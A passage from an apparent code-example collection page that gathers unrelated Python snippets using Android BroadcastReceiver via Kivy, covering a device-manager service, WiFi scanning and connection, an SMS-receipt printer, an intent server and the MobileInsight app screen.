            0,
            partial(self.start_remaining_connection_operations, bytimer=False))

    def on_command_listviews(self, *args, sender=None, **kwargs):
        _LOGGER.info('List view before send:')
        for v in self.views:
            _LOGGER.info(f'View = {v}')
        self.oscer.send(COMMAND_LISTVIEWS_RV, *self.views, dest=sender)

    def on_command_listusers(self, *args, sender=None, **kwargs):
        self.oscer.send(COMMAND_LISTUSERS_RV, *self.users, dest=sender)

    def on_command_connectors(self,
                              connectors_info,
                              *args,
                              sender=None,
                              **kwargs):
        connectors_info = json.loads(connectors_info)
        if connectors_info:
            for ci in connectors_info:
                if not exists(ci['temp']):
                    self.oscer.send(COMMAND_CONFIRM,
                                    CONFIRM_FAILED_1,
                                    dest=sender)
                    return
            self.connectors_format = True
            Timer(
                0,
                partial(TcpClient.init_connectors_async, self.loop,
                        connectors_info))
        self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, dest=sender)

    def on_command_listdevices(self, *args, sender=None, **kwargs):
        out = []
        for uid, dm in self.devicemanagers_by_uid.items():
            out.append(uid)
            out.append(dm.get_device())
        self.oscer.send(COMMAND_LISTDEVICES_RV, *out, dest=sender)

    async def on_command_delelem_async(self,
                                       elem,
                                       *args,
                                       lst=None,
                                       on_ok=None,
                                       sender=None,
                                       **kwargs):
        try:
            _LOGGER.info(f'on_command_delelem_async {elem}')
            rv = await elem.delete(self.db)
            if rv:
                if elem in lst:
                    lst.remove(elem)
                self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, elem, dest=sender)
                if on_ok:
                    on_ok(elem)
                TcpClient.reset_templates()
            else:
                self.oscer.send(COMMAND_CONFIRM,
                                CONFIRM_FAILED_1,
                                MSG_DB_SAVE_ERROR % str(elem),
                                dest=sender)
        except Exception:
            _LOGGER.error(
                f'on_command_delelem_async exception {traceback.format_exc()}')

    async def on_command_saveelem_async(self,
                                        elem,
                                        *args,
                                        lst=None,
                                        on_ok=None,
                                        sender=None,
                                        **kwargs):
        try:
            _LOGGER.info(f'on_command_saveelem_async {elem}')
            rv = await elem.to_db(self.db)
            if rv:
                if elem not in lst:
                    lst.append(elem)
                else:
                    lst[lst.index(elem)] = elem
                self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, elem, dest=sender)
                if on_ok:
                    on_ok(elem)
                TcpClient.reset_templates()
            else:
                self.oscer.send(COMMAND_CONFIRM,
                                CONFIRM_FAILED_1,
                                MSG_DB_SAVE_ERROR % str(elem),
                                dest=sender)
        except Exception:
            _LOGGER.error(
                f'on_command_saveelem_async exception {traceback.format_exc()}'
            )

    def on_command_dbelem(self,
                          elem,
                          *args,
                          asyncmethod=None,
                          lst=None,
                          cls=None,
                          on_ok=None,
                          sender=None,
                          **kwargs):
        _LOGGER.info(f'on_command_dbelem {elem}')
        if isinstance(elem, cls):
            if self.devicemanagers_all_stopped():
                Timer(0, partial(asyncmethod, elem, lst=lst, on_ok=on_ok))
            else:
                self.oscer.send(COMMAND_CONFIRM,
                                CONFIRM_FAILED_2,
                                MSG_CONNECTION_STATE_INVALID,
                                dest=sender)
        else:
            self.oscer.send(COMMAND_CONFIRM,
                            CONFIRM_FAILED_1,
                            MSG_INVALID_ITEM,
                            dest=sender)

    def on_event_command_handle(self, dm, command, *args):
        _LOGGER.debug(f'On Command Handle dm={dm} comm={command} a={args}')
        exitv = args[0] if args else None
        if command == COMMAND_NEWSESSION and exitv == CONFIRM_OK:
            if self.connectors_format:
                TcpClient.format(dm.get_device(),
                                 manager=dm,
                                 session=args[2],
                                 user=self.last_user)
            self.change_service_notification(dm,
                                             manager=dm,
                                             session=args[2],
                                             user=self.last_user)
            if self.main_session:
                args[1].set_main_session_id(self.main_session.get_id())
            else:
                self.main_session = args[2]
        elif command == COMMAND_DEVICEFIT and exitv == CONFIRM_OK:
            if self.connectors_format:
                TcpClient.format(args[1],
                                 fitobj=args[2],
                                 manager=dm,
                                 device=args[1])
            self.change_service_notification(dm, fitobj=args[2], manager=dm)
        elif command == COMMAND_DELDEVICE and exitv == CONFIRM_OK:
            ids = f'{dm.get_id()}'
            if ids in self.devicemanagers_by_id:
                del self.devicemanagers_by_id[ids]
            ids = dm.get_uid()
            if ids in self.devicemanagers_active_info:
                del self.devicemanagers_active_info[ids]
            if ids in self.devicemanagers_by_uid:
                del self.devicemanagers_by_uid[ids]
            if dm in self.devicemanagers_active:
                self.devicemanagers_active.remove(dm)
            if dm in self.devicemanagers_active_done:
                self.devicemanagers_active_done.remove(dm)
            self.set_formatters_device()
        elif command == COMMAND_SAVEDEVICE and exitv == CONFIRM_OK:
            ids = f'{dm.get_id()}'
            if ids not in self.devicemanagers_by_id:
                self.devicemanagers_by_id[ids] = dm
            TcpClient.reset_templates()
            self.set_formatters_device()
            self.on_command_listviews()
        elif command == COMMAND_SEARCH and exitv == CONFIRM_OK:
            if dm.get_state() != DEVSTATE_SEARCHING:
                if self.devicemanagers_all_stopped():
                    dm.search(True)
            else:
                dm.search(False)

    def generate_uid(self):
        while True:
            uid = OSCManager.generate_uid()
            if uid not in self.devicemanagers_by_uid:
                return uid

    def devicemanagers_all_stopped(self):
        if not self.devicemanagers_active or not self.timer_obj:
            for _, x in self.devicemanagers_by_uid.items():
                if not x.is_stopped_state():
                    return False
            return True
        else:
            return False

    def on_command_newdevice(self, typev, *args, sender=None, **kwargs):
        if typev not in self.devicemanager_class_by_type:
            self.oscer.send(COMMAND_CONFIRM,
                            CONFIRM_FAILED_1,
                            MSG_TYPE_DEVICE_UNKNOWN,
                            dest=sender)
        elif not self.devicemanagers_all_stopped():
            self.oscer.send(COMMAND_CONFIRM,
                            CONFIRM_FAILED_1,
                            MSG_CONNECTION_STATE_INVALID,
                            dest=sender)
        else:
            uid = self.generate_uid()
            self.devicemanagers_by_uid[uid] = self.devicemanager_class_by_type[
                typev](self.oscer,
                       uid,
                       service=True,
                       db=self.db,
                       loop=self.loop,
                       params=self.addit_params,
                       debug_params=self.debug_params.get(typev, dict()),
                       on_command_handle=self.on_event_command_handle,
                       on_state_transition=self.on_event_state_transition)
            self.oscer.send(COMMAND_CONFIRM, CONFIRM_OK, uid, dest=sender)

    async def db_query_single(self, txt):
        result = dict(error='',
                      rows=[],
                      cols=[],
                      rowcount=0,
                      changes=0,
                      lastrowid=-1)
        try:
            async with self.db.cursor() as cursor:
                result['changes_before'] = self.db.total_changes
                await cursor.execute(txt)
                lst = result['rows']
                result['rowcount'] = cursor.rowcount
                result['lastrowid'] = cursor.lastrowid
                result['changes_after'] = self.db.total_changes
                async for row in cursor:
                    if not result['cols']:
                        result['cols'] = list(row.keys())
                    item = ''
                    for r in result['cols']:
                        item += f'\t{row[r]}'
                    lst.append(item.strip())
            await self.db.commit()
        except Exception as ex:
            result['error'] = str(ex)
            _LOGGER.error(f'Query Error {traceback.format_exc()}')
        _LOGGER.info(f'Query {txt} result obtained')
        _LOGGER.debug(f'Query result {result}')
        return result

    async def db_query(self, txt, sender=None):
        queries = re.split(r';[\r\n]*', txt)
        results = []
        for q in queries:
            q = q.strip()
            if q:
                r = await self.db_query_single(q)
                results.append(r)
        self.oscer.send(COMMAND_CONFIRM,
                        CONFIRM_OK,
                        results,
                        do_split=True,
                        dest=sender)

    def on_command_query(self, txt, *args, sender=None, **kwargs):
        _LOGGER.debug(f'on_command_query {txt}')
        if not self.db:
            self.oscer.send(COMMAND_CONFIRM,
                            CONFIRM_FAILED_1,
                            MSG_DB_SAVE_ERROR % self.db_fname,
                            do_split=True,
                            dest=sender)
        elif not txt:
            self.oscer.send(COMMAND_CONFIRM,
                            CONFIRM_FAILED_2,
                            MSG_INVALID_PARAM,
                            do_split=True,
                            dest=sender)
        elif self.devicemanagers_all_stopped():
            Timer(0, partial(self.db_query, txt, sender=None))
        else:
            self.oscer.send(COMMAND_CONFIRM,
                            CONFIRM_FAILED_2,
                            MSG_CONNECTION_STATE_INVALID,
                            do_split=True,
                            dest=sender)

    def on_command_loglevel(self,
                            level,
                            notify_screen_on,
                            notify_every_ms,
                            *args,
                            sender=None,
                            **kwargs):
        init_logger(__name__, level)
        self.verbose = level
        if notify_screen_on >= 0:
            self.notify_screen_on = notify_screen_on
        if notify_every_ms >= 0:
            self.notify_every_ms = notify_every_ms

    def on_command_stop(self, *args, sender=None, **kwargs):
        self.loop.stop()

    def reset_service_notifications(self):
        for _, no in self.notification_formatter_info.items():
            no.clear()
            self.cancel_service_notification(no.idnot)
        if len(self.notification_formatter_info) > 1:
            self.cancel_service_notification(self.FOREGROUND_NOTIFICATION_ID -
                                             1)
        self.notification_formatter_info.clear()

    def cancel_service_notification(self, idnot):
        if idnot == self.FOREGROUND_NOTIFICATION_ID:
            self.set_service_notification(idnot,
                                          self.build_service_notification())
        else:
            self.notification_service.cancel(idnot)

    def set_service_notification(self, idnot, notif):
        self.notification_service.notify(idnot, notif)

    def set_summary_notification(self):
        if len(self.notification_formatter_info) > 1:
            summary = ''
            lines = []
            message = f'{len(self.notification_formatter_info)} active devices'
            for t, no in self.notification_formatter_info.items():
                if no.last_txt:
                    lines.append(no.last_txt)
                summary += f' {no.title}'
            if summary and len(lines) > 1:
                summary = summary[1:]
                self.set_service_notification(
                    self.FOREGROUND_NOTIFICATION_ID - 1,
                    self.build_service_notification(summary, message, lines))

    def build_service_notification(self,
                                   title=None,
                                   message=None,
                                   lines=None,
                                   idnot=0):
        group = None
        nb = self.notification_builder
        if not title and not message:
            title = "Fit.py"
            message = "DeviceManagerService"
        elif len(self.notification_formatter_info) > 1:
            nb = self.notification_builder if idnot == self.FOREGROUND_NOTIFICATION_ID else self.notification_builder_no_action
            group = self.NOTIFICATION_GROUP
        title = self.AndroidString((title if title else 'N/A').encode('utf-8'))
        message = self.AndroidString(message.encode('utf-8'))
        nb.setContentTitle(title)\
            .setGroup(group)\
            .setContentText(message)\
            .setOnlyAlertOnce(self.notify_screen_on <= 0)
        if lines is not None:
            style = self.NotificationCompatInboxStyle()\
                .setSummaryText(title)\
                .setBigContentTitle(message)
            for l in lines:
                style.addLine(self.AndroidString(l.encode('utf-8')))
            nb.setStyle(style)\
                .setGroupSummary(True)
        else:
            nb.setStyle(None)\
                .setGroupSummary(False)
        return nb.getNotification()

    def insert_service_notification(self):
        self.service.setAutoRestartService(False)
        self.service.startForeground(self.FOREGROUND_NOTIFICATION_ID,
                                     self.build_service_notification())

    async def start(self):
        if self.android:
            self.insert_service_notification()
        self.devicemanager_class_by_type = find_devicemanager_classes(_LOGGER)
        for tp, cls in self.devicemanager_class_by_type.items():
            if cls.__pre_action__:
                nm = cls.__pre_action__.__name__
                if nm not in self.devicemanagers_pre_actions:
                    self.devicemanagers_pre_actions[nm] = cls.__pre_action__
        await self.init_db(self.db_fname)
        await self.load_db()
        await self.init_osc()

    def set_devicemanagers_active(self, *args, **kwargs):
        del self.devicemanagers_active_done[:]
        del self.devicemanagers_active[:]
        self.devicemanagers_active_info.clear()
        self.reset_service_notifications()
        for v in self.views:
            if v.active:
                for c in v.get_connected_devices():
                    d = self.devicemanagers_by_id[str(c)]
                    if d not in self.devicemanagers_active_done:
                        self.devicemanagers_active_done.append(d)
        for d in self.devicemanagers_active_done:
            self.devicemanagers_active_info[d.get_uid()] = dict(retry=0,
                                                                operation='')

    def set_formatters_device(self):
        views2save = []
        for v in self.views:
            saveview = False
            for i in range(len(v.items) - 1, -1, -1):
                lab = v.items[i]
                ids = str(lab.device)
                if ids in self.devicemanagers_by_id:
                    lab.set_device(self.devicemanagers_by_id[ids].get_device())
                else:
                    del v.items[i]
                    saveview = True
            if saveview:
                views2save.append(v)
        if views2save:
            Timer(0, partial(self.save_modified_views, views2save))

    async def save_modified_views(self, views2save):
        for v in views2save:
            rv = await v.to_db(self.db)
            _LOGGER.info(f'Saving view {v} -> {rv}')
        self.on_command_listviews()

    def create_device_managers(self):
        for d in self.devices:
            uid = self.generate_uid()
            typev = d.get_type()
            if typev in self.devicemanager_class_by_type:
                dm = self.devicemanager_class_by_type[typev](
                    self.oscer,
                    uid,
                    service=True,
                    loop=self.loop,
                    db=self.db,
                    device=d,
                    params=self.addit_params,
                    debug_params=self.debug_params.get(typev, dict()),
                    on_command_handle=self.on_event_command_handle,
                    on_state_transition=self.on_event_state_transition)
                self.devicemanagers_by_id[f'{d.get_id()}'] = dm
                self.devicemanagers_by_uid[uid] = dm
        self.set_devicemanagers_active()
        self.set_formatters_device()

    async def load_db(self):
        try:
            self.users = await User.loadbyid(self.db)
            self.devices = await Device.loadbyid(self.db)
            self.views = await View.load1m(self.db)
            # _LOGGER.debug(f'List view[0] {self.views[0]}')
        except Exception:
            _LOGGER.error(f'Load DB error {traceback.format_exc()}')

    async def start_remaining_connection_operations(self, bytimer=True):
        try:
            _LOGGER.info(f'Starting remaining con timer={bytimer}')
            if bytimer:
                self.timer_obj = None
            elif self.timer_obj:
                self.timer_obj.cancel()
                self.timer_obj = None
            for dm in self.devicemanagers_active.copy():
                info = self.devicemanagers_active_info[dm.get_uid()]
                _LOGGER.info(
                    f'Processing[{dm.get_uid()}] {dm.get_device()} -> {info["operation"]}'
                )
                if info['operation'] == 'd':
                    if dm.get_state() == DEVSTATE_CONNECTING:
                        self.oscer.send(
                            COMMAND_PRINTMSG,
                            MSG_WAITING_FOR_CONNECTING.format(
                                dm.get_device().get_alias()))
                        break
                    elif not dm.is_connected_state():
                        self.devicemanagers_active.remove(dm)
                        self.devicemanagers_active_done.append(dm)
                    else:
                        dm.disconnect()
                        break
                elif info['operation'] == 'c':
                    if dm.is_connected_state():
                        self.devicemanagers_active.remove(dm)
                        self.devicemanagers_active_done.append(dm)
                    elif bytimer:
                        dm.set_user(self.last_user)
                        if dm.connect():
                            break
                        else:
                            self.oscer.send(
                                COMMAND_PRINTMSG,
                                MSG_DEVICE_NOT_STOPPED.format(
                                    dm.get_device().get_alias()))
                    else:
                        if info['retry'] < self.connect_retry:
                            self.timer_obj = Timer(
                                0 if not info['retry'] else self.connect_secs,
                                self.start_remaining_connection_operations)
                            info['retry'] += 1
                            break
                        else:
                            _LOGGER.info(
                                f'Retry FINISH for device[{dm.get_uid()}] {dm.get_device()}'
                            )
        except Exception:
            _LOGGER.error(f'Rem op error {traceback.format_exc()}')

    def set_operation_ended(self, info):
        info['operation'] = ''
        info['retry'] = 0

    def on_event_state_transition(self, dm, oldstate, newstate, reason):
        if self.connectors_format:
            TcpClient.format(dm.get_device(), state=newstate, manager=dm)
        self.change_service_notification(dm, state=newstate, manager=dm)
        uid = dm.get_uid()
        if uid in self.devicemanagers_active_info:  # assenza significa che stiamo facendo una ricerca
            info = self.devicemanagers_active_info[uid]
            from device.manager import GenericDeviceManager
            if GenericDeviceManager.is_connected_state_s(
                    newstate) and oldstate == DEVSTATE_CONNECTING:
                if info['operation'] == 'c':
                    if dm in self.devicemanagers_active:
                        self.devicemanagers_active.remove(dm)
                        self.devicemanagers_active_done.append(dm)
                    self.set_operation_ended(info)
                Timer(
                    0,
                    partial(self.start_remaining_connection_operations,
                            bytimer=False))
            elif oldstate == DEVSTATE_CONNECTING and newstate == DEVSTATE_DISCONNECTED:
                if reason == DEVREASON_PREPARE_ERROR or reason == DEVREASON_BLE_DISABLED:
                    for dm in self.devicemanagers_active:
                        info = self.devicemanagers_active_info[dm.get_uid()]
                        self.set_operation_ended(info)
                        if dm not in self.devicemanagers_active_done:
                            self.devicemanagers_active_done.append(dm)
                    del self.devicemanagers_active[:]
                else:
                    Timer(
                        0,
                        partial(self.start_remaining_connection_operations,
                                bytimer=False))
            elif (GenericDeviceManager.is_connected_state_s(oldstate)
                  or oldstate == DEVSTATE_DISCONNECTING
                  ) and newstate == DEVSTATE_DISCONNECTED:
                oper = 'c' if info['operation'] != 'd' else 'd'
                if reason != DEVREASON_REQUESTED:
                    info['operation'] = oper
                    if dm in self.devicemanagers_active_done:
                        self.devicemanagers_active_done.remove(dm)
                    if dm not in self.devicemanagers_active:
                        self.devicemanagers_active.append(dm)
                        GenericDeviceManager.sort(self.devicemanagers_active)
                else:
                    self.set_operation_ended(info)
                    self.main_session = None
                    if dm in self.devicemanagers_active:
                        self.devicemanagers_active.remove(dm)
                        self.devicemanagers_active_done.append(dm)
                Timer(
                    0,
                    partial(self.start_remaining_connection_operations,
                            bytimer=False))

    async def init_db(self, file):
        self.db = await aiosqlite.connect(file)
        if not isinstance(self.db, aiosqlite.Connection):
            self.db = None
        else:
            self.db.row_factory = aiosqlite.Row
            modules = glob.glob(join(dirname(__file__), "..", "db", "*.py*"))
            pls = [splitext(basename(f))[0] for f in modules if isfile(f)]
            import importlib
            import inspect
            for x in pls:
                try:
                    m = importlib.import_module(f"db.{x}")
                    clsmembers = inspect.getmembers(m, inspect.isclass)
                    for cla in clsmembers:
                        query = getattr(cla[1], '__create_table_query__')
                        if query:
                            # _LOGGER.debug(f'Executing query {query}')
                            await self.db.execute(query)
                            cla[1].set_update_columns()
                    await self.db.execute('PRAGMA foreign_keys = ON')
                except Exception:
                    _LOGGER.warning(traceback.format_exc())
            await self.db.commit()

    def on_bluetooth_disabled(self, inst, wasdisabled, ok):
        self.undo_enable_operations()

    def undo_enable_operations(self):
        for nm, act in self.devicemanagers_pre_actions.items():
            if nm in self.undo_info and self.undo_info[nm]:
                del self.undo_info[nm]
                preact = act(self.loop)
                preact.undo(self.on_bluetooth_disabled)
                break
        self.stop_event.set()

    async def uninit_db(self):
        if self.db:
            await self.db.commit()
            await self.db.close()

    async def stop(self):
        self.undo_enable_operations()
        await self.stop_event.wait()
        self.oscer.uninit()
        await self.uninit_db()
        if self.android:
            self.br.stop()
        self.stop_service()

    def stop_service(self):
        if self.android:
            self.reset_service_notifications()
            self.service.stopForeground(True)
            self.service.stopSelf()
Esempio n. 13
0
class Application(MDApp):
    results = set()
    wifi = None
    br = None

    def build(self):

        return Builder.load_string(KV)

    def register_broadcats_receiver(self):
        if not self.br:
            self.br = BroadcastReceiver(
                self.on_broadcast, actions=['SCAN_RESULTS_AVAILABLE_ACTION'])
            self.br.start()

    def on_broadcast(self, context, intent):
        success = intent.getBooleanExtra(
            WifiManager.EXTRA_RESULTS_UPDATED, False)

        if success:
            self.scan_success()
        else:
            self.scan_failure()

    def start_scan(self):

        self.register_broadcats_receiver()
        context = mActivity.getApplicationContext()
        wifiManager = cast(
            WifiManager, context.getSystemService(Context.WIFI_SERVICE))

        self.wifi = wifiManager
        success = self.wifi.startScan()
        if not success:
            self.scan_failure()

    def scan_success(self):
        self.root.ids.lbl.text = ''
        if not self.wifi:
            return

        results = self.wifi.getScanResults()

        for i in range(results.size()):
            result = results.get(i)
            self.results.add(result)
            self.root.ids.lbl.text += f'{result.SSID}\n'

    def on_start(self):
        self.register_broadcats_receiver()
        request_permissions([Permission.ACCESS_FINE_LOCATION])

    def on_resume(self):
        self.register_broadcats_receiver()

    def on_pause(self):
        self.stop_scan()
        return True

    def stop_scan(self):
        if self.br:
            self.br.stop()
            self.br = None
        self.root.ids.lbl.text = ''

    def scan_failure(self):
        if self.results:
            for result in self.results:
                self.root.ids.lbl.text += f'{result}\n'
        else:
            self.root.ids.lbl.text = 'something went wrong'
        self.stop_scan()
class AndroidWiFiManager(WiFiManager):
    def __init__(self, config, logger, api):
        super(AndroidWiFiManager, self).__init__(config, logger, api)
        self.general_android_conn = GeneralAndroidConnectivity(
            self.logger, self.api)
        self.wifi_android_controller = WiFiAndroidController(
            self.logger, self.general_android_conn)

        self.context = PythonService.mService
        self.wifi_manager = self.context.getSystemService(Context.WIFI_SERVICE)
        self.conn_manager = self.context.getSystemService(
            Context.CONNECTIVITY_SERVICE)

        self.conn_change_br = BroadcastReceiver(
            self.handle_conn_change_alert,
            actions=[ConnectivityManager.CONNECTIVITY_ACTION])
        self.addConnectionAlert(
            self.general_android_conn.updateConnectivityMgmtObj)

    def start(self):
        super(AndroidWiFiManager, self).start()
        ip_addr = self.general_android_conn.getLocalIpAddress()
        if ip_addr is not None and ip_addr != "":
            self.general_android_conn.updateConnectivityMgmtObj(
                "{\"status\":\"CONNECTED\", \"ip_address\":\"" + ip_addr +
                "\", \"ssid\":\" \"}")

        #GeneralConnectivity.setOpenMTCIntentAction(self.internalIntentAction)
        #GeneralConnectivity.setOpenMTCAndroidAppPackageName(self.android_app_package)
        #WiFiController.startConnectionAlert()
        results = self.wifi_android_controller.scanWiFiNetworks()
        #results = WiFiAndroidController.scanWiFiNetworks()
        #        results = Hardware.getWiFiNetworks()
        self.logger.info("the result of wifi scan was " + results)

        #        WiFiController.addNetworks(String(str(json.dumps(self.config["networks"],separators=(',', ':')))))
        network_array = json.loads(
            json.dumps(self.config["networks"], separators=(',', ':')))
        for network in network_array:
            self.logger.info("network info is " + str(network))
            network_str = str(json.dumps(network, separators=(',', ':')))
            self.logger.info("network info is " + network_str)
            self.wifi_android_controller.addConfiguredNetwork(network_str)
            #WiFiController.addConfiguredNetwork(String(network_str))

#        default_network = "guest_open"
#        default_network = "guest_wpa_preshared"
        default_network = self.config["default_network"]
        self.logger.info("default_network is " + default_network)
        self.wifi_android_controller.connectToNetwork(default_network)
        #WiFiController.connectToNetwork(default_network)

    def connectToNetwork(self, networkSSID, conn_callback=None):
        self.wifi_android_controller.connectToNetwork(networkSSID,
                                                      conn_callback)

    def addConnectionAlert(self, callback):
        if len(self.conn_change_callback_list) == 0:
            self.conn_change_br.start()
        super(AndroidWiFiManager, self).addConnectionAlert(callback)

    def removeConnectionAlert(self, callback):
        super(AndroidWiFiManager, self).removeConnectionAlert(callback)
        if len(self.conn_change_callback_list) == 0:
            self.conn_change_br.stop()

    def handle_conn_change_alert(self, context, intent):
        action = intent.getAction()
        ssid = ""
        ip_address = ""
        self.logger.info("received intent on " + action)

        if action != ConnectivityManager.CONNECTIVITY_ACTION:
            return

        if intent.hasExtra(ConnectivityManager.EXTRA_NO_CONNECTIVITY):
            #intent.getBooleanExtra(ConnectivityManager.EXTRA_NO_CONNECTIVITY, true)){
            self.logger.info(
                "received information that the device disconnected and no network is available"
            )
            self.conn_change_callback("DISCONNECTED", "", "")
            return

        net_type = intent.getIntExtra("networkType", -1)
        self.logger.info("network type is " + str(net_type))

        if net_type != ConnectivityManager.TYPE_WIFI:
            return

        info = self.conn_manager.getNetworkInfo(net_type)
        state = info.getState()
        self.logger.info("wifi connectivity state is " + str(state.toString()))

        if str(state.toString()) != "CONNECTED":
            return

        self.logger.info(
            "received information about connectivity change for WiFi")

        # send intent to update connectivity status
        self.logger.info(
            "received information that the device connected on WiFi")
        wifiInfo = self.wifi_manager.getConnectionInfo()
        ssid = wifiInfo.getSSID()
        self.logger.info("device is now connected on WiFi on SSID " +
                         str(ssid))

        #        ip_address = self.general_android_conn.getLocalIpAddress()
        ip_address = GeneralConnectivity.getLocalIpAddress()

        if ip_address is None:
            self.logger.info("device is not having any IP assigned")
            self.conn_change_callback("NO IP ADDRESS", "", ssid)
        else:
            self.logger.info("device is now connected with IP " +
                             str(ip_address))
            #TODO: handle any promise that is waiting for the reply
            self.conn_change_callback("CONNECTED", ip_address, ssid)
            self.current_ssid = ssid[1:-1]
            return
Esempio n. 15
0
# I don't remember if I need this or not but I'm too lazy
# to get my phone out and redeploy to test right now
sms_manager = autoclass("android.telephony.SmsManager")
sms_manager.getDefault()


def on_sms_received(context, intent):
    # Bundle up the intent extras
    msg_bundle = Bundle(intent.getExtras())
    # Pull out all the pdus
    pdus = [m for m in msg_bundle.get("pdus")]
    # This next line used to do a thing, but doesn't any more.
    # I guess I should take it out
    msg_bytes = [p for p in pdus]
    # Reconstruct the message
    messages = [SmsMessage.createFromPdu(mb) for mb in msg_bytes]
    for m in messages:
        print m.getMessageBody()


# Define the type of action we want to react to
SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"
# Register a call back for that action in a BR
br = BroadcastReceiver(on_sms_received, actions=[SMS_RECEIVED])
# Start the reveiver listening
br.start()

# Keep the service alive
while 1:
    time.sleep(60 * 5)
class IntentServer(LoggerMixin):
    def __init__(self, request_handler, gevent_queue, config, logger):

        self.config = config
        self.request_handler = request_handler
        self.action = self.config["listenActions"]
        self.logger = logger
        self.logger.info("!!!listening on action " + self.action)
        self.issuer = self.config["Issuer"],
        self.logger.info("!!!listening on action " + self.action)
        self.allowedIssuers = self.config["Issuer"].split(',')
        self.logger.info("!!!listening on action " + self.action)
        if gevent_queue is not None:
            self.gevent_queue = gevent_queue
        else:
            self.gevent_queue = None
        self.logger.info("starting the broadcast receiver")
        self.br = BroadcastReceiver(self._handle_intent_request,
                                    actions=[self.action])
        self.list_iter = PythonListIterator()
        self.m2m_service_callback = M2MServiceCallbackImpl(None)
        self.m2mservice_binder = M2MServiceBinder()

        self.logger.info("created the callback")
        M2MServiceBinder.setCallback(self.m2m_service_callback)
        PythonService.setBinder(self.m2mservice_binder)

        context = PythonService.mService
        #  service = M2MService()
        #  service.onCreate()
        #  service.onStartCommand(None, 0, 0)
        #  service.setContext(context)

        serviceIntent = Intent()
        #serviceIntent.setClassName("org.openmtc.m2mservice", "org.openmtc.m2mservice.M2MService");
        serviceIntent.setClassName("org.renpy.android",
                                   "org.renpy.android.PythonService")
        #serviceIntent.setClassName("com.example.test_bind_service_server2", "com.example.test_bind_service_server2.DemoService");
        #context = PythonActivity.mActivity

        ok = context.bindService(serviceIntent)
        if ok is False:
            print("python could not start m2mservice")
        else:
            print("python starting component " + ok)

        self.logger.info("set the callback")
        #self.br.start()

    def start(self):
        self.br.start()

    def _handle_intent_request(self, context, intent_request):

        self.logger.info("received an intent request: " + str(intent_request))
        try:
            extras = intent_request.getExtras()

            issuer = extras.get('Issuer')

        except Exception as e:
            print("error while processing intent " + e)
            return
        intentHandler = IntentHandler(self.logger, self.config)
        request_dict = intentHandler.intent_extras_to_dict(intent_request)
        parsedRequest = intentHandler.parseRequest(issuer, request_dict,
                                                   context)
        #intentHandler.handleParsedRequest(parsedRequest, self.request_handler, self.gevent_queue)
        intentHandler.handleParsedRequest(parsedRequest, None,
                                          self.gevent_queue)
Esempio n. 17
0
class MobileInsightScreen(Screen):
    error_log = StringProperty(LOGO_STRING)
    default_app_name = StringProperty("")
    collecting = BooleanProperty(False)
    service = None
    analyzer = None
    terminal_thread = None
    terminal_stop = None
    MAX_LINE = 30
    logs = deque([],MAX_LINE)
    plugins = []
    selectedPlugin = ""
    myLayout = GridLayout(cols = 2, spacing = 5, orientation = "vertical", size_hint_y = None, height = (len(get_plugins_list())/2+len(get_plugins_list())%2)*Window.height/4)
    popupScroll = ScrollView(size_hint_y = None, size = (Window.width, Window.height*.9))
    popupScroll.add_widget(myLayout)
    popup = Popup(content = popupScroll, title = "Choose a plugin")
    def __init__(self, name):
        """
        Initialization function. We will do the following task (in order):
            1. Check if the device is rooted
            2. Initialize necessary libs required by MobileInsight (e.g., libwireshark)
            3. Check if Android's security policy allows MobileInsight to access diagnostic mode.
            This is mainly caused by SELinux
            4. Create necessary folders on SDcard (e.g., /sdcard/mobileinsight/, /sdcard/mobileinsight/log/)
            5. Load built-in and 3rd-party plugins (located in /sdcard/mobileinsight/plugins/)
            6. Check if the diagnostic mode is enabled
            7. Load configurations from the setting panel (configs stored in /sdcard/.mobileinsight.ini)
        """

        super(MobileInsightScreen, self).__init__()

        self.name = name

        if not main_utils.is_rooted():
            # self.ids.log_viewer.disabled = False
            # self.ids.run_plugin.disabled = False
            self.log_error(
                "MobileInsight requires root privilege. Please root your device for correct functioning.")

        self.__init_libs()
        self.__check_security_policy()

        if not create_folder():
            # MobileInsight folders unavailable. Add warnings
            self.log_error("SDcard is unavailable. Please check.")
            self.screen.ids.log_viewer.disabled = True
            self.screen.ids.stop_plugin.disabled = True
            self.screen.ids.run_plugin.disabled = True

        self.plugins_list = get_plugins_list()
        # self.plugins_list.sort()

        if not self.__check_diag_mode():
            self.log_error(
                "The diagnostic mode is disabled. Please check your phone settings.")

        # clean up ongoing log collections
        # self.stop_collection()

        self.terminal_stop = None
        self.terminal_thread = None
        bootup = True

        #used to shorten long widget names in popup menu
        shortenLabel = CoreLabel(markup = True, text_size = (Window.width/2.5, None), shorten_from = "right", font_size = 70)
        #Making and adding widgets to popup menu
        for name in self.plugins_list:
            widget = Button(id = name, markup = True, halign = "left", valign = "top", on_release = self.callback, background_normal = "", background_color = self.ids.run_plugin.background_color)
            widget.text_size = (Window.width/2.25, Window.height/4)
            self.myLayout.add_widget(widget)

            app_path = self.plugins_list[name][0]
            if os.path.exists(os.path.join(app_path, "readme.txt")):
                with open(os.path.join(app_path, "readme.txt"), 'r') as ff:
                    my_description = ff.read()
            else: 
                my_description = "no description."
            #shortening long widget names and making font size
            shortenedName = shortenLabel.shorten(name)
            font_size = "60"
            if Window.width < 1450:
                font_size = "45"
            widget.text = "[color=fffafa][size=70]"+ shortenedName + "[/size][size="+ font_size + "]\n"+ my_description+"[/size][/color]"

            if bootup:
                self.selectedPlugin = name
                self.ids.selectButton.text = "Select Plugin"
                self.ids.run_plugin.text  = "Run Plugin: "+self.selectedPlugin
                bootup = False

        # register Broadcast Receivers.
        self.registerBroadcastReceivers()

        # If default service exists, launch it
        try:
            config = ConfigParser()
            config.read('/sdcard/.mobileinsight.ini')
            default_app_name = config.get("mi_general", "start_service")
            launch_service = config.get("mi_general", "bstartup_service")
            if default_app_name and launch_service == "1":
                self.start_service(default_app_name)
                self.ids.run_plugin.text = "Stop Plugin: "+default_app_name
        except Exception as e:
            pass

    def registerBroadcastReceivers(self):
        self.brStopAck = BroadcastReceiver(self.on_broadcastStopServiceAck,
                actions=['MobileInsight.Plugin.StopServiceAck'])
        self.brStopAck.start()

    #Setting the text for the Select Plugin Menu button
    def callback(self, obj):
        self.selectedPlugin = obj.id
        # self.ids.selectButton.text = "Select Button: " + obj.text[(obj.text.find("]", obj.text.find("]")+1)+1):obj.text.find("[", obj.text.find("[", obj.text.find("[")+1)+1)]
